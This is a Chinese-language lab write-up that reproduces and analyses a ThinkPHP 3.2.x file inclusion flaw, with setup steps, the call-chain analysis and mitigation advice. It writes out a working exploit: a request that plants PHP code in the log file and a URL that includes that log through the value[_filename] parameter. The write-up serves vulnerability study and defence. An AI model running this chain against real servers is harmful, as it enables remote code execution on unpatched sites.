ThinkPHP3.2.X通用漏洞复现
字数 1643 2025-08-24 16:48:16
ThinkPHP 3.2.X 通用漏洞复现与分析
环境搭建
-
PHP版本要求:
- 必须使用PHP版本 > 5.3.0
- 测试使用PHP 5.3.29成功搭建
-
搭建工具:
- 推荐使用phpstudy工具
- 解决端口占用问题:
netstat -no # 查看占用端口的PID tskill PID # 强制关闭进程
-
下载地址:
- ThinkPHP 3.2.1完整版:https://www.thinkphp.cn/down.html
-
跨主机访问设置:
- 需要开启虚拟机的防火墙设置
- 注意phpstudy同时只能启动一个网站
漏洞复现前置条件
-
修改控制器文件:
- 路径:
Application/Home/Controller/IndexController.class.php - 修改内容:
<?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index($value='') { $this->assign($value); $this->display(); } }
- 路径:
-
创建视图文件:
- 在
Application/Home/View/Index/下创建index.html
- 在
漏洞利用方式
1. 通过报错至Log记录利用
日志文件位置:
- 开启debug模式:
\Application\Runtime\Logs\Home\年_月_日.log - 未开启debug模式:
\Application\Runtime\Logs\Common\年_月_日.log
利用步骤:
-
通过Burp Suite发送恶意请求(GET方式):
GET /?m=--><?=phpinfo();?>注意:直接通过浏览器GET请求会被URL编码,导致后续利用失败
-
执行文件包含:
http://127.0.0.1/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/23_02_17.log
2. 通过文件上传利用
如果能够上传文件并知道其路径,也可以通过文件包含来执行恶意代码。
漏洞原理分析
调用链分析
完整的漏洞利用调用链:
assign() -> display() -> Hook::listen() -> self::exec() -> 新建Behavior类 -> run() -> fetch() -> load()
-
assign方法:
- 将用户控制的参数
_filename赋值给$this->tVar - 使得
$this->tVar->_filename指向目标路径
- 将用户控制的参数
-
display方法:
- 调用
Hook::listen,将tVar作为$params参数回调
- 调用
-
Hook机制:
- 调用
Behavior\ParseTemplateBehavior(位于ThinkPHP/Library/下) - 通过
exec方法实例化并调用run方法
- 调用
-
最终执行:
run方法调用fetch,进而调用load方法load方法中包含include $_filename,实现任意文件包含
关键函数说明
-
ThinkPHP视图方法:
display(): 渲染并输出模板fetch(): 渲染模板但不直接输出show(): 直接渲染内容assign(): 向模板传递变量
-
Hook机制:
- 钩子函数像一个"陷阱"或"监听器"
- 在消息传递过程中拦截并执行回调函数
- 本漏洞通过Hook函数调用Library扩展包下的类和方法
调试方法
-
使用PHPStorm调试:
- 配置PHP Built-in Web Server
- Host建议使用127.0.0.1而非localhost(便于Burp抓包)
- 安装Xdebug插件
-
逆向分析技巧:
- 使用
Ctrl+Shift+F全局搜索 - 搜索关键词
include $_filename定位漏洞点 - 注意扩展包中的调用可能不会被直接追踪到
- 使用
参考链接
- ThinkPHP 3.2.x文件包含&RCE分析:https://blog.weik1.top/2021/09/06/ThinkPHP%203.2.x%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB&RCE%E5%88%86%E6%9E%90/
- ThinkPHP3.2.3漏洞复现:https://blog.csdn.net/qq_43697234/article/details/118931542
- Xdebug配置:https://blog.csdn.net/yinhangbbbbb/article/details/79247331
防护建议
- 升级到最新版本的ThinkPHP
- 关闭调试模式
- 对用户输入进行严格过滤
- 限制日志目录的访问权限
- 避免直接使用用户可控参数作为文件路径